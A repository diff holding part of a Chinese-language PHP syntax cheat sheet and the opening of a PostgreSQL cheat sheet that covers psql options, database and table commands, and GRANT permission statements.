print_r($num); # => 1 3 7 9 11
|
||||
echo count($num); # => 5
|
||||
```
|
||||
|
||||
查看: [Arrays](#php-数组)
|
||||
|
||||
### 运算符 Operators
|
||||
|
||||
```php
|
||||
$x = 1;
|
||||
$y = 2;
|
||||
$sum = $x + $y;
|
||||
echo $sum; # => 3
|
||||
```
|
||||
|
||||
查看: [Operators](#php-运算符)
|
||||
|
||||
### Include
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### vars.php
|
||||
|
||||
```php
|
||||
<?php // 以 PHP 开放标签开头。
|
||||
$fruit = 'apple';
|
||||
echo "I was imported";
|
||||
return 'Anything you like.';
|
||||
?>
|
||||
```
|
||||
|
||||
#### test.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
include 'vars.php';
|
||||
echo $fruit . "\n"; # => apple
|
||||
/* 与 include 相同,
|
||||
如果不能包含则导致错误*/
|
||||
require 'vars.php';
|
||||
// 也有效
|
||||
include('vars.php');
|
||||
require('vars.php');
|
||||
// 通过 HTTP 包含
|
||||
include 'http://x.com/file.php';
|
||||
// 包含和返回语句
|
||||
$result = include 'vars.php';
|
||||
echo $result; # => Anything you like.
|
||||
?>
|
||||
```
|
||||
|
||||
### 功能 Functions
|
||||
|
||||
```php
|
||||
function add($num1, $num2 = 1) {
|
||||
return $num1 + $num2;
|
||||
}
|
||||
echo add(10); # => 11
|
||||
echo add(10, 5); # => 15
|
||||
```
|
||||
|
||||
查看: [Functions](#php-函数)
|
||||
|
||||
### 注释 Comments
|
||||
|
||||
```php
|
||||
# 这是一个单行 shell 样式的注释
|
||||
// 这是一行 c++ 风格的注释
|
||||
/* 这是一个多行注释
|
||||
另一行注释 */
|
||||
```
|
||||
|
||||
### 常数 Constants
|
||||
|
||||
```php
|
||||
const MY_CONST = "hello";
|
||||
echo MY_CONST; # => hello
|
||||
|
||||
# => MY_CONST is: hello
|
||||
echo 'MY_CONST is: ' . MY_CONST;
|
||||
```
|
||||
|
||||
### 类 Classes
|
||||
|
||||
```php
|
||||
class Student {
|
||||
public function __construct($name) {
|
||||
$this->name = $name;
|
||||
}
|
||||
}
|
||||
$alex = new Student("Alex");
|
||||
```
|
||||
|
||||
查看: [Classes](#php-类)
|
||||
|
||||
PHP 类型
|
||||
------
|
||||
|
||||
### 布尔值 Boolean
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```php
|
||||
$boolean1 = true;
|
||||
$boolean2 = TRUE;
|
||||
$boolean3 = false;
|
||||
$boolean4 = FALSE;
|
||||
$boolean5 = (boolean) 1; # => true
|
||||
$boolean6 = (boolean) 0; # => false
|
||||
```
|
||||
|
||||
布尔值不区分大小写
|
||||
|
||||
### 整数 Integer
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```php
|
||||
$int1 = 28; # => 28
|
||||
$int2 = -32; # => -32
|
||||
$int3 = 012; # => 10 (octal)
|
||||
$int4 = 0x0F; # => 15 (hex)
|
||||
$int5 = 0b101; # => 5 (binary)
|
||||
# => 2000100000 (decimal, PHP 7.4.0)
|
||||
$int6 = 2_000_100_000;
|
||||
```
|
||||
|
||||
另见: [Integers](https://www.php.net/manual/en/language.types.integer.php)
|
||||
|
||||
### 字符串 Strings
|
||||
|
||||
```php
|
||||
echo 'this is a simple string';
|
||||
```
|
||||
|
||||
查看: [Strings](#php-字符串)
|
||||
|
||||
### 数组 Arrays
|
||||
|
||||
```php
|
||||
$arr = array("hello", "world", "!");
|
||||
```
|
||||
|
||||
查看: [Arrays](#php-数组)
|
||||
|
||||
### 浮点数 Float (Double)
|
||||
|
||||
```php
|
||||
$float1 = 1.234;
|
||||
$float2 = 1.2e7;
|
||||
$float3 = 7E-10;
|
||||
$float4 = 1_234.567; // as of PHP 7.4.0
|
||||
var_dump($float4); // float(1234.567)
|
||||
$float5 = 1 + "10.5"; # => 11.5
|
||||
$float6 = 1 + "-1.3e3"; # => -1299
|
||||
```
|
||||
|
||||
### Null
|
||||
|
||||
```php
|
||||
$a = null;
|
||||
$b = 'Hello php!';
|
||||
echo $a ?? 'a is unset'; # => a is unset
|
||||
echo $b ?? 'b is unset'; # => Hello php
|
||||
$a = array();
|
||||
$a == null # => true
|
||||
$a === null # => false
|
||||
is_null($a) # => false
|
||||
```
|
||||
|
||||
### 可迭代对象 Iterables
|
||||
|
||||
```php
|
||||
function bar(): iterable {
|
||||
return [1, 2, 3];
|
||||
}
|
||||
function gen(): iterable {
|
||||
yield 1;
|
||||
yield 2;
|
||||
yield 3;
|
||||
}
|
||||
foreach (bar() as $value) {
|
||||
echo $value; # => 123
|
||||
}
|
||||
```
|
||||
|
||||
PHP 字符串
|
||||
------
|
||||
|
||||
### 字符串 String
|
||||
|
||||
```php
|
||||
# => '$String'
|
||||
$sgl_quotes = '$String';
|
||||
# => 'This is a $String.'
|
||||
$dbl_quotes = "This is a $sgl_quotes.";
|
||||
# => a tab character.
|
||||
$escaped = "a \t tab character.";
|
||||
# => a slash and a t: \t
|
||||
$unescaped = 'a slash and a t: \t';
|
||||
```
|
||||
|
||||
### 多行 Multi-line
|
||||
|
||||
```php
|
||||
$str = "foo";
|
||||
// 未插值的多行
|
||||
$nowdoc = <<<'END'
|
||||
Multi line string
|
||||
$str
|
||||
END;
|
||||
// 将执行字符串插值
|
||||
$heredoc = <<<END
|
||||
Multi line
|
||||
$str
|
||||
END;
|
||||
```
|
||||
|
||||
### 操作 Manipulation
|
||||
|
||||
```php
|
||||
$s = "Hello Phper";
|
||||
echo strlen($s); # => 11
|
||||
echo substr($s, 0, 3); # => Hel
|
||||
echo substr($s, 1); # => ello Phper
|
||||
echo substr($s, -4, 3);# => hpe
|
||||
echo strtoupper($s); # => HELLO PHPER
|
||||
echo strtolower($s); # => hello phper
|
||||
echo strpos($s, "l"); # => 2
|
||||
var_dump(strpos($s, "L")); # => false
|
||||
```
|
||||
|
||||
另见: [字符串函数](https://www.php.net/manual/en/ref.strings.php)
|
||||
|
||||
PHP 数组
|
||||
------
|
||||
|
||||
### 定义
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```php
|
||||
$a1 = ["hello", "world", "!"]
|
||||
$a2 = array("hello", "world", "!");
|
||||
$a3 = explode(",", "apple,pear,peach");
|
||||
```
|
||||
|
||||
#### 混合 int 和 string 键
|
||||
|
||||
```php
|
||||
$array = array(
|
||||
"foo" => "bar",
|
||||
"bar" => "foo",
|
||||
100 => -100,
|
||||
-100 => 100,
|
||||
);
|
||||
var_dump($array);
|
||||
```
|
||||
|
||||
#### 短数组语法
|
||||
|
||||
```php
|
||||
$array = [
|
||||
"foo" => "bar",
|
||||
"bar" => "foo",
|
||||
];
|
||||
```
|
||||
|
||||
### 多阵列
|
||||
|
||||
```php
|
||||
$multiArray = [
|
||||
[1, 2, 3],
|
||||
[4, 5, 6],
|
||||
[7, 8, 9],
|
||||
];
|
||||
print_r($multiArray[0][0]) # => 1
|
||||
print_r($multiArray[0][1]) # => 2
|
||||
print_r($multiArray[0][2]) # => 3
|
||||
```
|
||||
|
||||
### 多类型
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```php
|
||||
$array = array(
|
||||
"foo" => "bar",
|
||||
42 => 24,
|
||||
"multi" => array(
|
||||
"dim" => array(
|
||||
"a" => "foo"
|
||||
)
|
||||
)
|
||||
);
|
||||
# => string(3) "bar"
|
||||
var_dump($array["foo"]);
|
||||
# => int(24)
|
||||
var_dump($array[42]);
|
||||
# => string(3) "foo"
|
||||
var_dump($array["multi"]["dim"]["a"]);
|
||||
```
|
||||
|
||||
### 操作
|
||||
|
||||
```php
|
||||
$arr = array(5 => 1, 12 => 2);
|
||||
$arr[] = 56; // 附加
|
||||
$arr["x"] = 42; // 用键添加
|
||||
sort($arr); // 排序
|
||||
unset($arr[5]); // 消除
|
||||
unset($arr); // 移除所有
|
||||
```
|
||||
|
||||
查看: [数组函数](https://www.php.net/manual/en/ref.array.php)
|
||||
|
||||
### 索引迭代
|
||||
|
||||
```php
|
||||
$array = array('a', 'b', 'c');
|
||||
$count = count($array);
|
||||
for ($i = 0; $i < $count; $i++) {
|
||||
echo "i:{$i}, v:{$array[$i]}\n";
|
||||
}
|
||||
```
|
||||
|
||||
### 价值迭代
|
||||
|
||||
```php
|
||||
$colors = array('red', 'blue', 'green');
|
||||
foreach ($colors as $color) {
|
||||
echo "Do you like $color?\n";
|
||||
}
|
||||
```
|
||||
|
||||
### 关键迭代
|
||||
|
||||
```php
|
||||
$arr = ["foo" => "bar", "bar" => "foo"];
|
||||
foreach ( $arr as $key => $value )
|
||||
{
|
||||
echo "key: " . $key . "\n";
|
||||
echo "val: {$arr[$key]}\n";
|
||||
}
|
||||
```
|
||||
|
||||
### 串联阵列
|
||||
|
||||
```php
|
||||
$a = [1, 2];
|
||||
$b = [3, 4];
|
||||
// PHP 7.4 以后
|
||||
# => [1, 2, 3, 4]
|
||||
$result = [...$a, ...$b];
|
||||
```
|
||||
|
||||
### Into 函数
|
||||
|
||||
```php
|
||||
$array = [1, 2];
|
||||
function foo(int $a, int $b) {
|
||||
echo $a; # => 1
|
||||
echo $b; # => 2
|
||||
}
|
||||
foo(...$array);
|
||||
```
|
||||
|
||||
### Splat运算符
|
||||
|
||||
```php
|
||||
function foo($first, ...$other) {
|
||||
var_dump($first); # => a
|
||||
var_dump($other); # => ['b', 'c']
|
||||
}
|
||||
foo('a', 'b', 'c' /*, ...*/ );
|
||||
// 或
|
||||
function foo($first, string ...$other){}
|
||||
```
|
||||
|
||||
PHP 运算符
|
||||
-------
|
||||
|
||||
### 算术
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`+` | 添加
|
||||
`-` | 减法
|
||||
`*` | 乘法
|
||||
`/` | 分配
|
||||
`%` | 取模
|
||||
`**` | 求幂
|
||||
|
||||
### 分配
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`a += b` | 如同 `a = a + b`
|
||||
`a -= b` | 如同 `a = a – b`
|
||||
`a *= b` | 如同 `a = a * b`
|
||||
`a /= b` | 如同 `a = a / b`
|
||||
`a %= b` | 如同 `a = a % b`
|
||||
|
||||
### 比较
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`==` | 平等的
|
||||
`===` | 完全相同的
|
||||
`!=` | 不相等
|
||||
`<>` | 不相等
|
||||
`!==` | 不相同
|
||||
`<` | 少于
|
||||
`>` | 比...更棒
|
||||
`<=` | 小于或等于
|
||||
`>=` | 大于或等于
|
||||
`<=>` | 小于/等于/大于
|
||||
|
||||
### 逻辑的
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`and` | 和
|
||||
`or` | 或者
|
||||
`xor` | 独家或
|
||||
`!` | 不是
|
||||
`&&` | 和
|
||||
`\|\|` | 或者
|
||||
|
||||
### 算术
|
||||
|
||||
```php
|
||||
// 算术
|
||||
$sum = 1 + 1; // 2
|
||||
$difference = 2 - 1; // 1
|
||||
$product = 2 * 2; // 4
|
||||
$quotient = 2 / 1; // 2
|
||||
// 速记算术
|
||||
$num = 0;
|
||||
$num += 1; // 将 $num 增加 1
|
||||
echo $num++; // 打印 1(评估后的增量)
|
||||
echo ++$num; // 打印 3(评估前的增量)
|
||||
$num /= $float; // 将商除并分配给 $num
|
||||
```
|
||||
|
||||
### 按位
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`&` | 和
|
||||
`|` | 或(包括或)
|
||||
`^` | 异或(异或)
|
||||
`~` | 不是
|
||||
`<<` | 左移
|
||||
`>>` | 右移
|
||||
|
||||
PHP 条件
|
||||
------
|
||||
|
||||
### If elseif else
|
||||
|
||||
```php
|
||||
$a = 10;
|
||||
$b = 20;
|
||||
if ($a > $b) {
|
||||
echo "a is bigger than b";
|
||||
} elseif ($a == $b) {
|
||||
echo "a is equal to b";
|
||||
} else {
|
||||
echo "a is smaller than b";
|
||||
}
|
||||
```
|
||||
|
||||
### Switch
|
||||
|
||||
```php
|
||||
$x = 0;
|
||||
switch ($x) {
|
||||
case '0':
|
||||
print "it's zero";
|
||||
break;
|
||||
case 'two':
|
||||
case 'three':
|
||||
// do something
|
||||
break;
|
||||
default:
|
||||
// do something
|
||||
}
|
||||
```
|
||||
|
||||
### 三元运算符
|
||||
|
||||
```php
|
||||
# => Does
|
||||
print (false ? 'Not' : 'Does');
|
||||
$x = false;
|
||||
# => Does
|
||||
print($x ?: 'Does');
|
||||
$a = null;
|
||||
$b = 'Does print';
|
||||
# => a is unsert
|
||||
echo $a ?? 'a is unset';
|
||||
# => print
|
||||
echo $b ?? 'b is unset';
|
||||
```
|
||||
|
||||
### 匹配
|
||||
|
||||
```php
|
||||
$statusCode = 500;
|
||||
$message = match($statusCode) {
|
||||
200, 300 => null,
|
||||
400 => '未找到',
|
||||
500 => '服务器错误',
|
||||
default => '已知状态码',
|
||||
};
|
||||
echo $message; # => 服务器错误
|
||||
```
|
||||
|
||||
查看: [Match](https://www.php.net/manual/en/control-structures.match.php)
|
||||
|
||||
### 匹配表达式
|
||||
|
||||
```php
|
||||
$age = 23;
|
||||
$result = match (true) {
|
||||
$age >= 65 => 'senior',
|
||||
$age >= 25 => 'adult',
|
||||
$age >= 18 => 'young adult',
|
||||
default => 'kid',
|
||||
};
|
||||
echo $result; # => young adult
|
||||
```
|
||||
|
||||
PHP 循环
|
||||
------
|
||||
|
||||
### while 循环
|
||||
|
||||
```php
|
||||
$i = 1;
|
||||
# => 12345
|
||||
while ($i <= 5) {
|
||||
echo $i++;
|
||||
}
|
||||
```
|
||||
|
||||
### do while 循环
|
||||
|
||||
```php
|
||||
$i = 1;
|
||||
# => 12345
|
||||
do {
|
||||
echo $i++;
|
||||
} while ($i <= 5);
|
||||
```
|
||||
|
||||
### for i 循环
|
||||
|
||||
```php
|
||||
# => 12345
|
||||
for ($i = 1; $i <= 5; $i++) {
|
||||
echo $i;
|
||||
}
|
||||
```
|
||||
|
||||
### break 跳出循环
|
||||
|
||||
```php
|
||||
# => 123
|
||||
for ($i = 1; $i <= 5; $i++) {
|
||||
if ($i === 4) {
|
||||
break;
|
||||
}
|
||||
echo $i;
|
||||
}
|
||||
```
|
||||
|
||||
### continue 继续
|
||||
|
||||
```php
|
||||
# => 1235
|
||||
for ($i = 1; $i <= 5; $i++) {
|
||||
if ($i === 4) {
|
||||
continue;
|
||||
}
|
||||
echo $i;
|
||||
}
|
||||
```
|
||||
|
||||
### foreach 循环
|
||||
|
||||
```php
|
||||
$a = ['foo' => 1, 'bar' => 2];
|
||||
# => 12
|
||||
foreach ($a as $k) {
|
||||
echo $k;
|
||||
}
|
||||
```
|
||||
|
||||
查看: [Array iteration](#关键迭代)
|
||||
|
||||
PHP 函数
|
||||
------
|
||||
|
||||
### 返回值
|
||||
|
||||
```php
|
||||
function square($x)
|
||||
{
|
||||
return $x * $x;
|
||||
}
|
||||
echo square(4); # => 16
|
||||
```
|
||||
|
||||
### 返回类型
|
||||
|
||||
```php
|
||||
// 基本返回类型声明
|
||||
function sum($a, $b): float {/*...*/}
|
||||
function get_item(): string {/*...*/}
|
||||
class C {}
|
||||
// 返回一个对象
|
||||
function getC(): C { return new C; }
|
||||
```
|
||||
|
||||
### 可空返回类型
|
||||
|
||||
```php
|
||||
// 在 PHP 7.1 中可用
|
||||
function nullOrString(int $v) : ?string
|
||||
{
|
||||
return $v % 2 ? "odd" : null;
|
||||
}
|
||||
echo nullOrString(3); # => odd
|
||||
var_dump(nullOrString(4)); # => NULL
|
||||
```
|
||||
|
||||
查看: [Nullable types](https://www.php.net/manual/en/migration71.new-features.php)
|
||||
|
||||
### 无效函数
|
||||
|
||||
```php
|
||||
// 在 PHP 7.1 中可用
|
||||
function voidFunction(): void
|
||||
{
|
||||
echo 'Hello';
|
||||
return;
|
||||
}
|
||||
voidFunction(); # => Hello
|
||||
```
|
||||
|
||||
### 变量函数
|
||||
|
||||
```php
|
||||
function bar($arg = '')
|
||||
{
|
||||
echo "In bar(); arg: '$arg'.\n";
|
||||
}
|
||||
$func = 'bar';
|
||||
$func('test'); # => In bar(); arg: test
|
||||
```
|
||||
|
||||
### 匿名函数
|
||||
|
||||
```php
|
||||
$greet = function($name)
|
||||
{
|
||||
printf("Hello %s\r\n", $name);
|
||||
};
|
||||
$greet('World'); # => Hello World
|
||||
$greet('PHP'); # => Hello PHP
|
||||
```
|
||||
|
||||
### 递归函数
|
||||
|
||||
```php
|
||||
function recursion($x)
|
||||
{
|
||||
if ($x < 5) {
|
||||
echo "$x";
|
||||
recursion($x + 1);
|
||||
}
|
||||
}
|
||||
recursion(1); # => 1234
|
||||
```
|
||||
|
||||
### 默认参数
|
||||
|
||||
```php
|
||||
function coffee($type = "cappuccino")
|
||||
{
|
||||
return "Making a cup of $type.\n";
|
||||
}
|
||||
# => 制作一杯卡布奇诺
|
||||
echo coffee();
|
||||
# => 制作一杯
|
||||
echo coffee(null);
|
||||
# => 制作一杯浓缩咖啡
|
||||
echo coffee("espresso");
|
||||
```
|
||||
|
||||
### 箭头函数
|
||||
|
||||
```php
|
||||
$y = 1;
|
||||
|
||||
$fn1 = fn($x) => $x + $y;
|
||||
// 相当于按值使用 $y:
|
||||
$fn2 = function ($x) use ($y) {
|
||||
return $x + $y;
|
||||
};
|
||||
echo $fn1(5); # => 6
|
||||
echo $fn2(5); # => 6
|
||||
```
|
||||
|
||||
PHP 类
|
||||
------
|
||||
|
||||
### 构造函数 Constructor
|
||||
|
||||
```php
|
||||
class Student {
|
||||
public function __construct($name) {
|
||||
$this->name = $name;
|
||||
}
|
||||
public function print() {
|
||||
echo "Name: " . $this->name;
|
||||
}
|
||||
}
|
||||
$alex = new Student("Alex");
|
||||
$alex->print(); # => Name: Alex
|
||||
```
|
||||
|
||||
### 继承 Inheritance
|
||||
|
||||
```php
|
||||
class ExtendClass extends SimpleClass
|
||||
{
|
||||
// 重新定义父方法
|
||||
function displayVar()
|
||||
{
|
||||
echo "Extending class\n";
|
||||
parent::displayVar();
|
||||
}
|
||||
}
|
||||
$extended = new ExtendClass();
|
||||
$extended->displayVar();
|
||||
```
|
||||
|
||||
### 类变量 Classes variables
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```php
|
||||
class MyClass
|
||||
{
|
||||
const MY_CONST = 'value';
|
||||
static $staticVar = 'static';
|
||||
// 可见度
|
||||
public static $var1 = 'pubs';
|
||||
// 仅限类
|
||||
private static $var2 = 'pris';
|
||||
// 类和子类
|
||||
protected static $var3 = 'pros';
|
||||
// 类和子类
|
||||
protected $var6 = 'pro';
|
||||
// 仅限类
|
||||
private $var7 = 'pri';
|
||||
}
|
||||
```
|
||||
|
||||
静态访问
|
||||
|
||||
```php
|
||||
echo MyClass::MY_CONST; # => value
|
||||
echo MyClass::$staticVar; # => static
|
||||
```
|
||||
|
||||
### 魔术方法
|
||||
|
||||
```php
|
||||
class MyClass
|
||||
{
|
||||
// 对象被视为字符串
|
||||
public function __toString()
|
||||
{
|
||||
return $property;
|
||||
}
|
||||
// 与 __construct() 相反
|
||||
public function __destruct()
|
||||
{
|
||||
print "Destroying";
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 接口
|
||||
|
||||
```php
|
||||
interface Foo
|
||||
{
|
||||
public function doSomething();
|
||||
}
|
||||
interface Bar
|
||||
{
|
||||
public function doSomethingElse();
|
||||
}
|
||||
class Cls implements Foo, Bar
|
||||
{
|
||||
public function doSomething() {}
|
||||
public function doSomethingElse() {}
|
||||
}
|
||||
```
|
||||
|
||||
各种各样的
|
||||
------
|
||||
|
||||
### 基本错误处理
|
||||
|
||||
```php
|
||||
try {
|
||||
// 做一点事
|
||||
} catch (Exception $e) {
|
||||
// 处理异常
|
||||
} finally {
|
||||
echo "Always print!";
|
||||
}
|
||||
```
|
||||
|
||||
### PHP 8.0 中的异常
|
||||
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
```php {.wrap}
|
||||
$nullableValue = null;
|
||||
try {
|
||||
$value = $nullableValue ?? throw new InvalidArgumentException();
|
||||
} catch (InvalidArgumentException) { // 变量是可选的
|
||||
// 处理我的异常
|
||||
echo "print me!";
|
||||
}
|
||||
```
|
||||
|
||||
### 自定义异常
|
||||
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
```php
|
||||
class MyException extends Exception {
|
||||
// 做一点事
|
||||
}
|
||||
```
|
||||
|
||||
用法
|
||||
|
||||
```php
|
||||
try {
|
||||
$condition = true;
|
||||
if ($condition) {
|
||||
throw new MyException('bala');
|
||||
}
|
||||
} catch (MyException $e) {
|
||||
// 处理我的异常
|
||||
}
|
||||
```
|
||||
|
||||
### Nullsafe 运算符
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```php
|
||||
// 从 PHP 8.0.0 开始,这一行:
|
||||
$result = $repo?->getUser(5)?->name;
|
||||
// 相当于下面的代码:
|
||||
if (is_null($repo)) {
|
||||
$result = null;
|
||||
} else {
|
||||
$user = $repository->getUser(5);
|
||||
if (is_null($user)) {
|
||||
$result = null;
|
||||
} else {
|
||||
$result = $user->name;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
另见: [Nullsafe 运算符](https://wiki.php.net/rfc/nullsafe_operator)
|
||||
|
||||
### 常用表达
|
||||
|
||||
```php
|
||||
$str = "Visit Quickref.me";
|
||||
echo preg_match("/qu/i", $str); # => 1
|
||||
```
|
||||
|
||||
查看: [PHP中的正则表达式](./regex.md#php中的正则表达式)
|
||||
|
||||
### fopen() 模式
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`r` | 读
|
||||
`r+` | 读写,前置
|
||||
`w` | 写入,截断
|
||||
`w+` | 读写,截断
|
||||
`a` | 写,追加
|
||||
`a+` | 读写,追加
|
||||
|
||||
### 运行时定义的常量
|
||||
|
||||
```php
|
||||
define("CURRENT_DATE", date('Y-m-d'));
|
||||
// 一种可能的表示
|
||||
echo CURRENT_DATE; # => 2021-01-05
|
||||
# => CURRENT_DATE is: 2021-01-05
|
||||
echo 'CURRENT_DATE is: ' . CURRENT_DATE;
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [PHP 官方中文文档](https://www.php.net/manual/zh/index.php) _(php.net)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/php/) _(learnxinyminutes.com)_
|
629
docs/postgres.md
Normal file
629
docs/postgres.md
Normal file
@ -0,0 +1,629 @@
|
||||
PostgreSQL 备忘清单
|
||||
===
|
||||
|
||||
[PostgreSQL](https://www.postgresql.org/docs/current/) 备忘清单为您提供了常用的 PostgreSQL 命令和语句。
|
||||
|
||||
入门
|
||||
---------------
|
||||
|
||||
### 入门
|
||||
|
||||
切换和连接
|
||||
|
||||
```shell
|
||||
$ sudo -u postgres psql
|
||||
```
|
||||
|
||||
列出所有数据库
|
||||
|
||||
```shell
|
||||
postgres=# \l
|
||||
```
|
||||
|
||||
连接到名为 postgres 的数据库
|
||||
|
||||
```shell
|
||||
postgres=# \c postgres
|
||||
```
|
||||
|
||||
断开
|
||||
|
||||
```shell
|
||||
postgres=# \q
|
||||
postgres=# \!
|
||||
```
|
||||
|
||||
### psql 命令
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
参数 | 示例 | 说明
|
||||
:- |- | -
|
||||
`[-d] <database>` | psql -d mydb | 连接到数据库
|
||||
`-U` | psql -U john mydb | 以特定用户身份连接
|
||||
`-h` `-p` | psql -h localhost -p 5432 mydb | 连接到主机/端口
|
||||
`-U` `-h` `-p` `-d` | psql -U admin -h 192.168.1.5 -p 2506 -d mydb | 连接远程 PostgreSQL
|
||||
`-W` | psql -W mydb | 强制密码
|
||||
`-c` | psql -c '\c postgres' -c '\dt' | 执行 SQL 查询或命令
|
||||
`-H` | psql -c "\l+" -H postgres > database.html | 生成 HTML 报告
|
||||
`-l` | psql -l | 列出所有数据库
|
||||
`-f` | psql mydb -f file.sql | 从文件执行命令
|
||||
`-V` | psql -V | 打印 psql 版本
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 获得帮助
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\h` | SQL 命令语法帮助
|
||||
`\h` DELETE | DELETE SQL 语句语法
|
||||
`\?` | PostgreSQL 命令列表
|
||||
|
||||
在 PostgreSQL 控制台中运行
|
||||
|
||||
PostgreSQL 工作
|
||||
-------
|
||||
|
||||
### Recon 观察
|
||||
|
||||
显示版本
|
||||
|
||||
```sql
|
||||
SHOW SERVER_VERSION;
|
||||
```
|
||||
|
||||
显示系统状态
|
||||
|
||||
```sql
|
||||
\conninfo
|
||||
```
|
||||
|
||||
显示环境变量
|
||||
|
||||
```sql
|
||||
SHOW ALL;
|
||||
```
|
||||
|
||||
列出用户
|
||||
|
||||
```sql
|
||||
SELECT rolname FROM pg_roles;
|
||||
```
|
||||
|
||||
显示当前用户
|
||||
|
||||
```sql
|
||||
SELECT current_user;
|
||||
```
|
||||
|
||||
显示当前用户的权限
|
||||
|
||||
```sql
|
||||
\du
|
||||
```
|
||||
|
||||
显示当前数据库
|
||||
|
||||
```sql
|
||||
SELECT current_database();
|
||||
```
|
||||
|
||||
显示数据库中的所有表
|
||||
|
||||
```sql
|
||||
\dt
|
||||
```
|
||||
|
||||
列出函数
|
||||
|
||||
```sql
|
||||
\df <schema>
|
||||
```
|
||||
|
||||
### Databases 数据库
|
||||
|
||||
列出数据库
|
||||
|
||||
```sql
|
||||
\l
|
||||
```
|
||||
|
||||
连接到数据库
|
||||
|
||||
```sql
|
||||
\c <database_name>
|
||||
```
|
||||
|
||||
显示当前数据库
|
||||
|
||||
```sql
|
||||
SELECT current_database();
|
||||
```
|
||||
|
||||
[创建数据库](http://www.postgresql.org/docs/current/static/sql-createdatabase.html)
|
||||
|
||||
```sql
|
||||
CREATE DATABASE <database_name> WITH OWNER <username>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
[删除数据库](http://www.postgresql.org/docs/current/static/sql-dropdatabase.html)
|
||||
|
||||
```sql
|
||||
DROP DATABASE IF EXISTS <database_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
[重命名数据库](http://www.postgresql.org/docs/current/static/sql-alterdatabase.html)
|
||||
|
||||
```sql
|
||||
ALTER DATABASE <old_name> RENAME TO <new_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### Tables 表
|
||||
|
||||
列出当前数据库中的表
|
||||
|
||||
```sql
|
||||
\dt
|
||||
SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
全局列表
|
||||
|
||||
```sql
|
||||
\dt *.*.
|
||||
SELECT * FROM pg_catalog.pg_tables
|
||||
```
|
||||
|
||||
列表表架构
|
||||
|
||||
```sql
|
||||
\d <table_name>
|
||||
\d+ <table_name>
|
||||
SELECT column_name, data_type, character_maximum_length
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE table_name = '<table_name>';
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
[创建表](http://www.postgresql.org/docs/current/static/sql-createtable.html)
|
||||
|
||||
```sql
|
||||
CREATE TABLE <table_name>(
|
||||
<column_name> <column_type>,
|
||||
<column_name> <column_type>
|
||||
);
|
||||
```
|
||||
|
||||
创建表,主键自增
|
||||
|
||||
```sql
|
||||
CREATE TABLE <table_name> (
|
||||
<column_name> SERIAL PRIMARY KEY
|
||||
);
|
||||
```
|
||||
|
||||
[删除表](http://www.postgresql.org/docs/current/static/sql-droptable.html)
|
||||
|
||||
```sql
|
||||
DROP TABLE IF EXISTS <table_name> CASCADE;
|
||||
```
|
||||
|
||||
### Permissions 权限
|
||||
|
||||
成为 postgres 用户,如果您有权限错误
|
||||
|
||||
```shell
|
||||
sudo su - postgres
|
||||
psql
|
||||
```
|
||||
|
||||
[授予](http://www.postgresql.org/docs/current/static/sql-grant.html) 对数据库的所有权限
|
||||
|
||||
```sql
|
||||
GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
授予数据库连接权限
|
||||
|
||||
```sql
|
||||
GRANT CONNECT ON DATABASE <db_name> TO <user_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
授予架构权限
|
||||
|
||||
```sql
|
||||
GRANT USAGE ON SCHEMA public TO <user_name>;
|
||||
```
|
||||
|
||||
授予函数权限
|
||||
|
||||
```sql
|
||||
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
授予在所有表上选择、更新、插入、删除的权限
|
||||
|
||||
```sql
|
||||
GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
在表上授予权限
|
||||
|
||||
```sql
|
||||
GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
授予对表的选择权限
|
||||
|
||||
```sql
|
||||
GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### Columns 列
|
||||
|
||||
[添加栏目](http://www.postgresql.org/docs/current/static/sql-altertable.html)
|
||||
|
||||
```sql
|
||||
ALTER TABLE <table_name> IF EXISTS
|
||||
ADD <column_name> <data_type> [<constraints>];
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
更新栏
|
||||
|
||||
```sql
|
||||
ALTER TABLE <table_name> IF EXISTS
|
||||
